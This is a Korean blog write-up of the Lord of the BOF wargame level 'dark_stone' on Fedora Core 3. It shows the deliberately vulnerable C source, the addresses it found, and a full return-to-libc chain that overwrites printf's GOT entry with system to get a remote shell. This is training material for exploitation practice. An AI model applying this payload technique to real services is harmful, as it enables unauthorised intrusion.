FC3 evil_wizard->dark_stone

Posted by dw0rdptr
2017. 4. 7. 20:05 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_stone
    - Remote BOF on Fedora Core 3
    - hint : GOT overwriting again
    - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length;
    char temp[1024];

    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);

    // for disturbance RET sleding
    length = strlen(temp);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

            // disturbance RET sleding
          memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

    // buffer cleaning
    memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

    printf("%s\n", buffer);
}




이쯤되면 문제 패턴이 예상가능해진다. 역시나 전레벨 문제+remote.. remote를 제외하고 달라진점은 버퍼를 비운다는 점이다. 어차피 GOT Overwrite로 풀꺼라 신경쓰이지는 않지만.

기법정리
RTL chaining으로 /bin/sh가젯을 하나씩 구해 bss에 overwrite 후 system호출&인자 bss   --> ascii armor 우회불가능(ftz level11을 이렇게 풀었다)

RTL chaining으로 system주소를 1 byte씩 직접 printf@got 에 overwrite, print@plt 호출후 AAAA+&/bin/sh

지금까지 사용한 exploit방법인데 이번엔 좀 다르게 풀겠다

custom stack을 bss로 두고 RTL chaining으로 system주소를 하나씩 overwrite 후 printf@got에 bss를 한번에 overwrite, print@plt 호출후 AAAA+&/bin/sh

주소를 구해보자

strcpy.plt : 0x8048438       
printf.plt : 0x8048408 
printf.got : 0x804984c
pop pop ret
: 0x80484f3
.bss : 0x08049868           
system : 0x7507c0           
    c0 0x80484d0
    07 0x804817c
    75 0x80482b4
    00 0x8049804
/bin/sh : 0x833603


payload 구성 : dummy * 268
+ strcpy.plt + pop pop ret + bss+0 + system[0]
+ strcpy.plt + pop pop ret + bss+1 + system[1]
+ strcpy.plt + pop pop ret + bss+2 + system[2]
+ strcpy.plt + pop pop ret + bss+3 + system[3]
+ strcpy.plt + pop pop ret + printf@got + bss
+printf@plt + AAAA+ &/bin/sh


원격으로 쉘을 따자






'System > FC3' 카테고리의 다른 글

FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07